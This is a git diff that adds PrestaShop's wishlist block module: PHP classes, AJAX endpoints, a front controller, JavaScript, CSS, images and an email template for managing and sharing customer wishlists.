color:#222 +} +ul.wlp_bought_list li .product_infos .wishlist_product_detail input, +ul.wlp_bought_list li .product_infos .wishlist_product_detail select { + border:1px solid #d1d1d1 +} + +ul.wlp_bought_list li .btn_action { + clear:both; + margin-top:10px +} +ul.wlp_bought_list li .btn_action .lnksave {float:right} +ul.wlp_bought_list li .lnkdel { + position:absolute; + top:5px; + right:5px; + display:block; + height:12px; + width:12px; + text-indent:-5000px; + background: url(img/icon/delete.gif) no-repeat 0 0 +} diff --git a/modules/blockwishlist/blockwishlist.php b/modules/blockwishlist/blockwishlist.php new file mode 100755 index 0000000..91bd4a9 --- /dev/null +++ b/modules/blockwishlist/blockwishlist.php @@ -0,0 +1,336 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockWishList extends Module +{ + const INSTALL_SQL_FILE = 'install.sql'; + + private $_html = ''; + private $_postErrors = array(); + + public function __construct() + { + $this->name = 'blockwishlist'; + $this->tab = 'front_office_features'; + $this->version = 0.2; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Wishlist block'); + $this->description = $this->l('Adds a block containing the customer\'s wishlists.'); + $this->default_wishlist_name = $this->l('My wishlist'); + } + + public function install() + { + if (!file_exists(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return (false); + else if (!$sql = file_get_contents(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return (false); + $sql = str_replace(array('PREFIX_', 'ENGINE_TYPE'), array(_DB_PREFIX_, _MYSQL_ENGINE_), $sql); + $sql = preg_split("/;\s*[\r\n]+/", $sql); + foreach ($sql AS $query) + if($query) + if(!Db::getInstance()->execute(trim($query))) + return false; + if (!parent::install() OR + !$this->registerHook('rightColumn') OR + !$this->registerHook('productActions') OR + !$this->registerHook('cart') OR + !$this->registerHook('customerAccount') OR + !$this->registerHook('header') OR + !$this->registerHook('adminCustomers') + ) + return false; + /* This hook is optional */ + $this->registerHook('displayMyAccountBlock'); + return true; + } + + public function uninstall() + { + return ( + Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'wishlist') AND + Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'wishlist_email') AND + Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'wishlist_product') AND + Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'wishlist_product_cart') AND + parent::uninstall() + ); + } + + public function getContent() + { + $this->_html = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitSettings')) + { + $activated = Tools::getValue('activated'); + if ($activated != 0 AND $activated != 1) + $this->_html .= '
        '.$this->l('Activate module : Invalid choice.').'
        '; + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + $this->_displayForm(); + return ($this->_html); + } + + private function _displayForm() + { + $this->_displayFormView(); + } + + private function _displayFormView() + { + $customers = Customer::getCustomers(); + if (!sizeof($customers)) + return; + $id_customer = (int)(Tools::getValue('id_customer')); + if (!$id_customer) + $id_customer = $customers[0]['id_customer']; + $this->_html .= '
        +
        +
        + '.$this->l('Listing').' + + +
        + +
        '; + require_once(dirname(__FILE__).'/WishList.php'); + $wishlists = WishList::getByIdCustomer($id_customer); + if (!sizeof($wishlists)) + return ($this->_html .= '
        '); + $id_wishlist = false; + foreach ($wishlists AS $row) + if ($row['id_wishlist'] == Tools::getValue('id_wishlist')) + { + $id_wishlist = (int)(Tools::getValue('id_wishlist')); + break; + } + if (!$id_wishlist) + $id_wishlist = $wishlists[0]['id_wishlist']; + $this->_html .= ' + +
        + +
        '; + $this->_displayProducts((int)($id_wishlist)); + $this->_html .= ' + '; + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockwishlist.css', 'all'); + $this->context->controller->addJS(($this->_path).'js/ajax-wishlist.js'); + + $this->smarty->assign(array('wishlist_link' => $this->context->link->getModuleLink('blockwishlist', 'mywishlist'))); + } + + public function hookRightColumn($params) + { + global $errors; + + require_once(dirname(__FILE__).'/WishList.php'); + if ($this->context->customer->isLogged()) + { + $wishlists = Wishlist::getByIdCustomer($this->context->customer->id); + if (empty($this->context->cookie->id_wishlist) === true || + WishList::exists($this->context->cookie->id_wishlist, $this->context->customer->id) === false) + { + if (!sizeof($wishlists)) + $id_wishlist = false; + else + { + $id_wishlist = (int)($wishlists[0]['id_wishlist']); + $this->context->cookie->id_wishlist = (int)($id_wishlist); + } + } + else + $id_wishlist = $this->context->cookie->id_wishlist; + $this->smarty->assign(array( + 'id_wishlist' => $id_wishlist, + 'isLogged' => true, + 'wishlist_products' => ($id_wishlist == false ? false : WishList::getProductByIdCustomer($id_wishlist, $this->context->customer->id, $this->context->language->id, null, true)), + 'wishlists' => $wishlists, + 'ptoken' => Tools::getToken(false))); + } + else + $this->smarty->assign(array('wishlist_products' => false, 'wishlists' => false)); + + return ($this->display(__FILE__, 'blockwishlist.tpl')); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookProductActions($params) + { + $this->smarty->assign('id_product', (int)(Tools::getValue('id_product'))); + return ($this->display(__FILE__, 'blockwishlist-extra.tpl')); + } + + public function hookCustomerAccount($params) + { + return $this->display(__FILE__, 'my-account.tpl'); + } + + public function hookDisplayMyAccountBlock($params) + { + return $this->hookCustomerAccount($params); + } + + private function _displayProducts($id_wishlist) + { + include_once(dirname(__FILE__).'/WishList.php'); + + $wishlist = new WishList($id_wishlist); + $products = WishList::getProductByIdCustomer($id_wishlist, $wishlist->id_customer, $this->context->language->id); + for ($i = 0; $i < sizeof($products); ++$i) + { + $obj = new Product((int)($products[$i]['id_product']), false, $this->context->language->id); + if (!Validate::isLoadedObject($obj)) + continue; + else + { + $images = $obj->getImages($this->context->language->id); + foreach ($images AS $k => $image) + { + if ($image['cover']) + { + $products[$i]['cover'] = $obj->id.'-'.$image['id_image']; + break; + } + } + if (!isset($products[$i]['cover'])) + $products[$i]['cover'] = $this->context->language->iso_code.'-default'; + } + } + $this->_html .= ' + + + + + + + + + '; + $priority = array($this->l('High'), $this->l('Medium'), $this->l('Low')); + foreach ($products as $product) + { + $this->_html .= ' + + + + + '; + } + $this->_html .= '
        '.$this->l('Product').''.$this->l('Quantity').''.$this->l('Priority').'
        + '.htmlentities($product['name'], ENT_COMPAT, 'UTF-8').' + '.$product['name']; + if (isset($product['attributes_small'])) + $this->_html .= '
        '.htmlentities($product['attributes_small'], ENT_COMPAT, 'UTF-8').''; + $this->_html .= ' +
        '.(int)($product['quantity']).''.$priority[(int)($product['priority']) % 3].'
        '; + } + + public function hookAdminCustomers($params) + { + require_once(dirname(__FILE__).'/WishList.php'); + + $customer = new Customer((int)($params['id_customer'])); + if (!Validate::isLoadedObject($customer)) + die (Tools::displayError()); + + $this->_html = '

        '.$this->l('Wishlists').'

        '; + + $wishlists = WishList::getByIdCustomer((int)($customer->id)); + if (!sizeof($wishlists)) + $this->_html .= $customer->lastname.' '.$customer->firstname.' '.$this->l('No wishlist.'); + else + { + $this->_html .= '
        '; + + $id_wishlist = (int)(Tools::getValue('id_wishlist')); + if (!$id_wishlist) + $id_wishlist = $wishlists[0]['id_wishlist']; + + $this->_html .= ''.$this->l('Wishlist').': '; + + $this->_displayProducts((int)($id_wishlist)); + + $this->_html .= '

        '; + + return $this->_html; + } + } + /* + * Display Error from controler + */ + public function errorLogged() + { + return $this->l('You must be logged in to manage your wishlists.'); + } +} + diff --git a/modules/blockwishlist/blockwishlist.tpl b/modules/blockwishlist/blockwishlist.tpl new file mode 100755 index 0000000..2472812 --- /dev/null +++ b/modules/blockwishlist/blockwishlist.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + diff --git a/modules/blockwishlist/buywishlistproduct.php b/modules/blockwishlist/buywishlistproduct.php new file mode 100755 index 0000000..68d1111 --- /dev/null +++ b/modules/blockwishlist/buywishlistproduct.php @@ -0,0 +1,56 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +require_once(dirname(__FILE__).'/WishList.php'); + + +$error = ''; + +// Instance of module class for translations +$module = new BlockWishList(); + +$token = Tools::getValue('token'); +$id_product = (int)Tools::getValue('id_product'); +$id_product_attribute = (int)Tools::getValue('id_product_attribute'); +if (Configuration::get('PS_TOKEN_ENABLE') == 1 && strcmp(Tools::getToken(false), Tools::getValue('static_token'))) + $error = $module->l('Invalid token', 'buywishlistproduct'); + +if (!strlen($error) && + empty($token) === false && + empty($id_product) === false) +{ + $wishlist = WishList::getByToken($token); + if ($wishlist !== false) + WishList::addBoughtProduct($wishlist['id_wishlist'], $id_product, $id_product_attribute, $cart->id, 1); +} +else + $error = $module->l('You must log in', 'buywishlistproduct'); + +if (empty($error) === false) + echo $error; + diff --git a/modules/blockwishlist/cart.php b/modules/blockwishlist/cart.php new file mode 100755 index 0000000..6ab2311 --- /dev/null +++ b/modules/blockwishlist/cart.php @@ -0,0 +1,86 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +require_once(dirname(__FILE__).'/WishList.php'); +require_once(dirname(__FILE__).'/blockwishlist.php'); + +$context = Context::getContext(); +$action = Tools::getValue('action'); +$add = (!strcmp($action, 'add') ? 1 : 0); +$delete = (!strcmp($action, 'delete') ? 1 : 0); +$id_wishlist = (int)(Tools::getValue('id_wishlist')); +$id_product = (int)(Tools::getValue('id_product')); +$quantity = (int)(Tools::getValue('quantity')); +$id_product_attribute = (int)(Tools::getValue('id_product_attribute')); + +// Instance of module class for translations +$module = new BlockWishList(); + +if (Configuration::get('PS_TOKEN_ENABLE') == 1 AND + strcmp(Tools::getToken(false), Tools::getValue('token')) AND + $context->customer->isLogged() === true) + echo $module->l('Invalid token', 'cart'); +if ($context->customer->isLogged()) +{ + if ($id_wishlist AND WishList::exists($id_wishlist, $context->customer->id) === true) + $context->cookie->id_wishlist = (int)($id_wishlist); + if (empty($context->cookie->id_wishlist) === true OR $context->cookie->id_wishlist == false) + $context->smarty->assign('error', true); + if (($add OR $delete) AND empty($id_product) === false) + { + if(!isset($context->cookie->id_wishlist) OR $context->cookie->id_wishlist == '') + { + $wishlist = new WishList(); + $wishlist->id_shop = $context->shop->id; + $wishlist->id_shop_group = $context->shop->id_shop_group; + + $modWishlist = new BlockWishList(); + $wishlist->name = $modWishlist->default_wishlist_name; + $wishlist->id_customer = (int)($context->customer->id); + list($us, $s) = explode(' ', microtime()); + srand($s * $us); + $wishlist->token = strtoupper(substr(sha1(uniqid(rand(), true)._COOKIE_KEY_.$context->customer->id), 0, 16)); + $wishlist->add(); + $context->cookie->id_wishlist = (int)($wishlist->id); + } + if ($add AND $quantity) + WishList::addProduct($context->cookie->id_wishlist, $context->customer->id, $id_product, $id_product_attribute, $quantity); + else if ($delete) + WishList::removeProduct($context->cookie->id_wishlist, $context->customer->id, $id_product, $id_product_attribute); + } + $context->smarty->assign('products', WishList::getProductByIdCustomer($context->cookie->id_wishlist, $context->customer->id, $context->language->id, null, true)); + + if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/blockwishlist/blockwishlist-ajax.tpl')) + $context->smarty->display(_PS_THEME_DIR_.'modules/blockwishlist/blockwishlist-ajax.tpl'); + elseif (Tools::file_exists_cache(dirname(__FILE__).'/blockwishlist-ajax.tpl')) + $context->smarty->display(dirname(__FILE__).'/blockwishlist-ajax.tpl'); + else + echo $module->l('No template found', 'cart'); +} +else + echo $module->l('You must be logged in to manage your wishlist.', 'cart'); diff --git a/modules/blockwishlist/controllers/front/index.php b/modules/blockwishlist/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/controllers/front/mywishlist.php b/modules/blockwishlist/controllers/front/mywishlist.php new file mode 100755 index 0000000..1328d0b --- /dev/null +++ b/modules/blockwishlist/controllers/front/mywishlist.php @@ -0,0 +1,131 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class BlockWishListMyWishListModuleFrontController extends ModuleFrontController +{ + public function __construct() + { + parent::__construct(); + + $this->context = Context::getContext(); + $this->ssl = true; + + include_once($this->module->getLocalPath().'WishList.php'); + } + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->display_column_left = false; + parent::initContent(); + + $this->assign(); + } + + /** + * Assign wishlist template + */ + public function assign() + { + $errors = array(); + + if ($this->context->customer->isLogged()) + { + $add = Tools::getIsset('add'); + $add = (empty($add) === false ? 1 : 0); + $delete = Tools::getIsset('deleted'); + $delete = (empty($delete) === false ? 1 : 0); + $id_wishlist = Tools::getValue('id_wishlist'); + if (Tools::isSubmit('submitWishlist')) + { + if (Configuration::get('PS_TOKEN_ACTIVATED') == 1 && strcmp(Tools::getToken(), Tools::getValue('token'))) + $errors[] = $this->module->l('Invalid token', 'mywishlist'); + if (!count($errors)) + { + $name = Tools::getValue('name'); + if (empty($name)) + $errors[] = $this->module->l('You must specify a name.', 'mywishlist'); + if (WishList::isExistsByNameForUser($name)) + $errors[] = $this->module->l('This name is already used by another list.', 'mywishlist'); + + if (!count($errors)) + { + $wishlist = new WishList(); + $wishlist->id_shop = $this->context->shop->id; + $wishlist->id_shop_group = $this->context->shop->id_shop_group; + $wishlist->name = $name; + $wishlist->id_customer = (int)$this->context->customer->id; + list($us, $s) = explode(' ', microtime()); + srand($s * $us); + $wishlist->token = strtoupper(substr(sha1(uniqid(rand(), true)._COOKIE_KEY_.$this->context->customer->id), 0, 16)); + $wishlist->add(); + Mail::Send( + $this->context->language->id, + 'wishlink', + Mail::l('Your wishlist\'s link', $this->context->language->id), + array( + '{wishlist}' => $wishlist->name, + '{message}' => Tools::getProtocol().htmlentities($_SERVER['HTTP_HOST'], ENT_COMPAT, 'UTF-8').__PS_BASE_URI__.'modules/blockwishlist/view.php?token='.$wishlist->token), + $this->context->customer->email, + $this->context->customer->firstname.' '.$this->context->customer->lastname, + null, + strval(Configuration::get('PS_SHOP_NAME')), + null, + null, + $this->module->getLocalPath().'mails/'); + } + } + } + else if ($add) + WishList::addCardToWishlist($this->context->customer->id, Tools::getValue('id_wishlist'), $this->context->language->id); + elseif ($delete && empty($id_wishlist) === false) + { + $wishlist = new WishList((int)($id_wishlist)); + if (Validate::isLoadedObject($wishlist)) + $wishlist->delete(); + else + $errors[] = $this->module->l('Cannot delete this wishlist', 'mywishlist'); + } + $this->context->smarty->assign('wishlists', WishList::getByIdCustomer($this->context->customer->id)); + $this->context->smarty->assign('nbProducts', WishList::getInfosByIdCustomer($this->context->customer->id)); + } + else + Tools::redirect('index.php?controller=authentication&back='.urlencode($this->context->link->getModuleLink('blockwishlist', 'mywishlist'))); + + $this->context->smarty->assign(array( + 'id_customer' => (int)$this->context->customer->id, + 'errors' => $errors, + 'form_link' => $errors, + )); + + $this->setTemplate('mywishlist.tpl'); + } +} diff --git a/modules/blockwishlist/controllers/index.php b/modules/blockwishlist/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/img/arrow_right_2.png b/modules/blockwishlist/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blockwishlist/img/arrow_right_2.png differ diff --git a/modules/blockwishlist/img/delete.gif b/modules/blockwishlist/img/delete.gif new file mode 100755 index 0000000..43c6ca8 Binary files /dev/null and b/modules/blockwishlist/img/delete.gif differ diff --git a/modules/blockwishlist/img/gift.gif b/modules/blockwishlist/img/gift.gif new file mode 100755 index 0000000..d190831 Binary files /dev/null and b/modules/blockwishlist/img/gift.gif differ diff --git a/modules/blockwishlist/img/icon/add.png b/modules/blockwishlist/img/icon/add.png new file mode 100755 index 0000000..0e31475 Binary files /dev/null and b/modules/blockwishlist/img/icon/add.png differ diff --git a/modules/blockwishlist/img/icon/delete.gif b/modules/blockwishlist/img/icon/delete.gif new file mode 100755 index 0000000..6d186d1 Binary files /dev/null and b/modules/blockwishlist/img/icon/delete.gif differ diff --git a/modules/blockwishlist/img/icon/delete.png b/modules/blockwishlist/img/icon/delete.png new file mode 100755 index 0000000..08f2493 Binary files /dev/null and b/modules/blockwishlist/img/icon/delete.png differ diff --git a/modules/blockwishlist/img/icon/index.php b/modules/blockwishlist/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/img/icon/package.png b/modules/blockwishlist/img/icon/package.png new file mode 100755 index 0000000..da3c2a2 Binary files /dev/null and b/modules/blockwishlist/img/icon/package.png differ diff --git a/modules/blockwishlist/img/icon/package_go.png b/modules/blockwishlist/img/icon/package_go.png new file mode 100755 index 0000000..aace63a Binary files /dev/null and b/modules/blockwishlist/img/icon/package_go.png differ diff --git a/modules/blockwishlist/img/index.php b/modules/blockwishlist/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/img/star.gif b/modules/blockwishlist/img/star.gif new file mode 100755 index 0000000..d0948a7 Binary files /dev/null and b/modules/blockwishlist/img/star.gif differ diff --git a/modules/blockwishlist/index.php b/modules/blockwishlist/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/blockwishlist/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/js/ajax-wishlist.js b/modules/blockwishlist/js/ajax-wishlist.js new file mode 100755 index 0000000..8642ce7 --- /dev/null +++ b/modules/blockwishlist/js/ajax-wishlist.js @@ -0,0 +1,253 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Update WishList Cart by adding, deleting, updating objects + * + * @return void + */ +function WishlistCart(id, action, id_product, id_product_attribute, quantity) +{ + $.ajax({ + type: 'GET', + url: baseDir + 'modules/blockwishlist/cart.php', + async: true, + cache: false, + data: 'action=' + action + '&id_product=' + id_product + '&quantity=' + quantity + '&token=' + static_token + '&id_product_attribute=' + id_product_attribute, + success: function(data) + { + if (action == 'add') + { + var $element = $('#bigpic'); + if (!$element.length) + var $element = $('#wishlist_button'); + var $picture = $element.clone(); + var pictureOffsetOriginal = $element.offset(); + $picture.css({'position': 'absolute', 'top': pictureOffsetOriginal.top, 'left': pictureOffsetOriginal.left}); + var pictureOffset = $picture.offset(); + var wishlistBlockOffset = $('#wishlist_block').offset(); + + $picture.appendTo('body'); + $picture.css({ 'position': 'absolute', 'top': $picture.css('top'), 'left': $picture.css('left') }) + .animate({ 'width': $element.attr('width')*0.66, 'height': $element.attr('height')*0.66, 'opacity': 0.2, 'top': wishlistBlockOffset.top + 30, 'left': wishlistBlockOffset.left + 15 }, 1000) + .fadeOut(800); + } + + if($('#' + id).length != 0) + { + $('#' + id).slideUp('normal'); + document.getElementById(id).innerHTML = data; + $('#' + id).slideDown('normal'); + } + } + }); +} + +/** + * Change customer default wishlist + * + * @return void + */ +function WishlistChangeDefault(id, id_wishlist) +{ + $.ajax({ + type: 'GET', + url: baseDir + 'modules/blockwishlist/cart.php', + async: true, + data: 'id_wishlist=' + id_wishlist + '&token=' + static_token, + cache: false, + success: function(data) + { + $('#' + id).slideUp('normal'); + document.getElementById(id).innerHTML = data; + $('#' + id).slideDown('normal'); + } + }); +} + +/** + * Buy Product + * + * @return void + */ +function WishlistBuyProduct(token, id_product, id_product_attribute, id_quantity, button, ajax) +{ + if(ajax) + ajaxCart.add(id_product, id_product_attribute, false, button, 1, [token, id_quantity]); + else + { + $('#' + id_quantity).val(0); + WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity) + document.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].method='POST'; + document.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].action=baseUri + '?controller=cart'; + document.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].elements['token'].value = static_token; + document.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].submit(); + } + return (true); +} + +function WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity) +{ + if ($('#' + id_quantity).val() <= 0) + return (false); + $.ajax({ + type: 'GET', + url: baseDir + 'modules/blockwishlist/buywishlistproduct.php', + data: 'token=' + token + '&static_token=' + static_token + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute, + async: true, + cache: false, + success: function(data) + { + if (data) + alert(data); + else + { + $('#' + id_quantity).val($('#' + id_quantity).val() - 1); + } + } + }); + return (true); +} + +/** + * Show wishlist managment page + * + * @return void + */ +function WishlistManage(id, id_wishlist) +{ + $.ajax({ + type: 'GET', + async: true, + url: baseDir + 'modules/blockwishlist/managewishlist.php', + data: 'id_wishlist=' + id_wishlist + '&refresh=' + false, + cache: false, + success: function(data) + { + $('#' + id).hide(); + document.getElementById(id).innerHTML = data; + $('#' + id).fadeIn('slow'); + } + }); +} + +/** + * Show wishlist product managment page + * + * @return void + */ +function WishlistProductManage(id, action, id_wishlist, id_product, id_product_attribute, quantity, priority) +{ + $.ajax({ + type: 'GET', + async: true, + url: baseDir + 'modules/blockwishlist/managewishlist.php', + data: 'action=' + action + '&id_wishlist=' + id_wishlist + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute + '&quantity=' + quantity + '&priority=' + priority + '&refresh=' + true, + cache: false, + success: function(data) + { + if (action == 'delete') + $('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast'); + else if (action == 'update') + { + $('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast'); + $('#wlp_' + id_product + '_' + id_product_attribute).fadeIn('fast'); + } + } + }); +} + +/** + * Delete wishlist + * + * @return boolean succeed + */ +function WishlistDelete(id, id_wishlist, msg) +{ + var res = confirm(msg); + if (res == false) + return (false); + $.ajax({ + type: 'GET', + async: true, + url: baseDir + 'modules/blockwishlist/mywishlist.php', + cache: false, + data: 'deleted&id_wishlist=' + id_wishlist, + success: function(data) + { + $('#' + id).fadeOut('slow'); + } + }); +} + +/** + * Hide/Show bought product + * + * @return void + */ +function WishlistVisibility(bought_class, id_button) +{ + if ($('#hide' + id_button).css('display') == 'none') + { + $('.' + bought_class).slideDown('fast'); + $('#show' + id_button).hide(); + $('#hide' + id_button).css('display', 'block'); + } + else + { + $('.' + bought_class).slideUp('fast'); + $('#hide' + id_button).hide(); + $('#show' + id_button).css('display', 'block'); + } +} + +/** + * Send wishlist by email + * + * @return void + */ +function WishlistSend(id, id_wishlist, id_email) +{ + $.post(baseDir + 'modules/blockwishlist/sendwishlist.php', + { token: static_token, + id_wishlist: id_wishlist, + email1: $('#' + id_email + '1').val(), + email2: $('#' + id_email + '2').val(), + email3: $('#' + id_email + '3').val(), + email4: $('#' + id_email + '4').val(), + email5: $('#' + id_email + '5').val(), + email6: $('#' + id_email + '6').val(), + email7: $('#' + id_email + '7').val(), + email8: $('#' + id_email + '8').val(), + email9: $('#' + id_email + '9').val(), + email10: $('#' + id_email + '10').val() }, + function(data) + { + if (data) + alert(data); + else + WishlistVisibility(id, 'hideSendWishlist'); + }); +} diff --git a/modules/blockwishlist/js/index.php b/modules/blockwishlist/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/logo.gif b/modules/blockwishlist/logo.gif new file mode 100755 index 0000000..da3c2a2 Binary files /dev/null and b/modules/blockwishlist/logo.gif differ diff --git a/modules/blockwishlist/logo.png b/modules/blockwishlist/logo.png new file mode 100755 index 0000000..2251c34 Binary files /dev/null and b/modules/blockwishlist/logo.png differ diff --git a/modules/blockwishlist/mails/en/index.php b/modules/blockwishlist/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/mails/en/wishlink.html b/modules/blockwishlist/mails/en/wishlink.html new file mode 100755 index 0000000..621796e --- /dev/null +++ b/modules/blockwishlist/mails/en/wishlink.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Message from {shop_name}
         
        {shop_name} invites you to send this link to your friends, so they can see your wishlist {wishlist} :

        {message}
         
